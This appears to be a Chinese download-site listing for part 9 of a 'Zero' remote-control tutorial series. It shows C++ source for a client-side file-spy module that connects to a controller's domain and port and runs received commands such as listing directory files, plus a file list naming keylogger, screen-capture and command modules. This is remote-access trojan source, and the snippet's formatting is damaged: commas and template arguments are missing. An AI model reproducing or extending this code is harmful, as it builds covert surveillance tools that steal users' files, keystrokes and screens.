资源简介
Zero远控 09篇
代码片段和文件信息
#include “filespy.h“
// 初始化FileSpy
static FileSpy gSpy;
FileSpy::FileSpy()
{
}
void FileSpy::startByNewThread(std::string domain int port)
{
// 将域名和端口数据转换成一个字符指针类型
char *args = new char[MAX_PATH+sizeof(int)];
domain.reserve(MAX_PATH);
memcpy(argsdomain.data() MAX_PATH);
memcpy(args+MAX_PATH(char*)&port sizeof(int));
// 创建新线程
HANDLE h = CreateThread(NULL0 FileSpy::fileSpyThreadProc(LPVOID)args0NULL);
if (!h) {
std::cout << “Failed to create new thread“ << std::endl;
std::fflush(stdout);
}
}
DWORD FileSpy::fileSpyThreadProc(LPVOID args)
{
char domain[MAX_PATH];
memcpy(domain args MAX_PATH);
int port = *((int*)((char*)args+MAX_PATH));
// 开始监控
startFileSpy(domain port);
// 释放参数
delete (char *)args;
return true;
}
void FileSpy::startFileSpy(std::string domain int port)
{
// 连接到服务器,接收服务器的指令
TcpSocket sock;
if (!sock.connectTo(domain port)) {
std::cout << “Failed to connect server for file spy“ << std::endl;
std::fflush(stdout);
}
// 死循环,不断从服务端接收数据
const int packetSize = 800;
char szData[packetSize];
int ret;
std::string buf;
while (1) {
ret = sock.recvData(szData packetSize);
// 出现错误
if (ret == SOCKET_ERROR || ret == 0) {
break;
}
// 把数据加入到缓冲区
addDataToBuffer(&sock buf szData ret);
}
}
void FileSpy::addDataToBuffer(TcpSocket *sock std::string &buf char *data int size)
{
buf.append(datasize);
// 把数据转换成指令模式
int endIndex;
while ((endIndex = buf.find(gSpy.CmdEnd)) >= 0) {
std::string line = buf.substr(0endIndex);
buf.erase(0 endIndex+gSpy.CmdEnd.length());
// 获取指令
int firstSplit = line.find(gSpy.CmdSplit);
std::string cmd = line.substr(0 firstSplit);
line.erase(0 firstSplit+gSpy.CmdSplit.length());
// 处理指令
processCmd(sock cmd line);
}
}
std::map FileSpy::parseArgs(std::string &data)
{
// 字符串分割成列表
std::vector v;
std::string::size_type pos1 pos2;
pos2 = data.find(gSpy.CmdSplit);
pos1 = 0;
while(std::string::npos != pos2) {
v.push_back(data.substr(pos1 pos2-pos1));
pos1 = pos2 + gSpy.CmdSplit.size();
pos2 = data.find(gSpy.CmdSplit pos1);
}
if(pos1 != data.length()) v.push_back(data.substr(pos1));
// 解析参数
std::map args;
for (int i=0; i<(int)v.size()-1; i+=2) {
args[v.at(i)] = v.at(i+1);
}
return args;
}
void FileSpy::processCmd(TcpSocket *sock std::string &cmd std::string &data)
{
// 解析参数
std::map args = parseArgs(data);
// 获取文件
if (cmd == gSpy.CmdGetDirFiles) {
doGetDirFiles(sock args);
return;
}
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 13513 2016-12-24 17:43 Zero远控_09\ZeroClient\filespy.cpp
文件 3525 2016-12-24 08:57 Zero远控_09\ZeroClient\filespy.h
文件 1378 1997-10-18 15:41 Zero远控_09\ZeroClient\jpeg\jconfig.h
文件 12717 2014-09-03 11:55 Zero远控_09\ZeroClient\jpeg\jmorecfg.h
文件 47339 2016-12-21 08:02 Zero远控_09\ZeroClient\jpeg\jpeglib.h
文件 235030 2014-04-05 15:23 Zero远控_09\ZeroClient\jpeg\libjpeg.lib
文件 7006 2016-12-23 16:56 Zero远控_09\ZeroClient\keyboardspy.cpp
文件 1512 2016-12-22 15:24 Zero远控_09\ZeroClient\keyboardspy.h
文件 1184 2016-12-23 16:41 Zero远控_09\ZeroClient\main.cpp
文件 9188 2016-12-23 12:36 Zero远控_09\ZeroClient\screenspy.cpp
文件 1378 2016-12-21 14:42 Zero远控_09\ZeroClient\screenspy.h
文件 3746 2016-12-24 11:08 Zero远控_09\ZeroClient\tcpsocket.cpp
文件 910 2016-12-24 10:55 Zero远控_09\ZeroClient\tcpsocket.h
文件 8058 2016-12-24 10:08 Zero远控_09\ZeroClient\zeroclient.cpp
文件 2379 2016-12-23 16:10 Zero远控_09\ZeroClient\zeroclient.h
文件 297 2016-12-23 12:02 Zero远控_09\ZeroClient\ZeroClient.pro
文件 23635 2016-12-24 17:47 Zero远控_09\ZeroClient\ZeroClient.pro.user
文件 1784 2016-12-22 17:37 Zero远控_09\ZeroServer\keyboardspy.cpp
文件 984 2016-12-22 17:42 Zero远控_09\ZeroServer\keyboardspy.h
文件 199 2016-12-19 12:00 Zero远控_09\ZeroServer\main.cpp
文件 5064 2016-04-24 09:10 Zero远控_09\ZeroServer\resources\cmdspy.png
文件 8132 2016-04-24 09:13 Zero远控_09\ZeroServer\resources\filespy.png
文件 4560 2016-04-24 09:23 Zero远控_09\ZeroServer\resources\keyboardspy.png
文件 7688 2016-04-24 09:14 Zero远控_09\ZeroServer\resources\screenspy.png
文件 21662 2016-04-24 10:49 Zero远控_09\ZeroServer\resources\zero.ico
文件 3644 2016-04-24 10:44 Zero远控_09\ZeroServer\resources\zero.png
文件 324 2016-12-18 16:40 Zero远控_09\ZeroServer\resources.qrc
文件 2750 2016-12-22 17:05 Zero远控_09\ZeroServer\screenspy.cpp
文件 1264 2016-12-21 15:47 Zero远控_09\ZeroServer\screenspy.h
文件 892 2016-12-21 12:56 Zero远控_09\ZeroServer\tcpserver.cpp
............此处省略23个文件信息
- 上一篇:Zero远控_-07
- 下一篇:Zero远控_10
评论
共有 条评论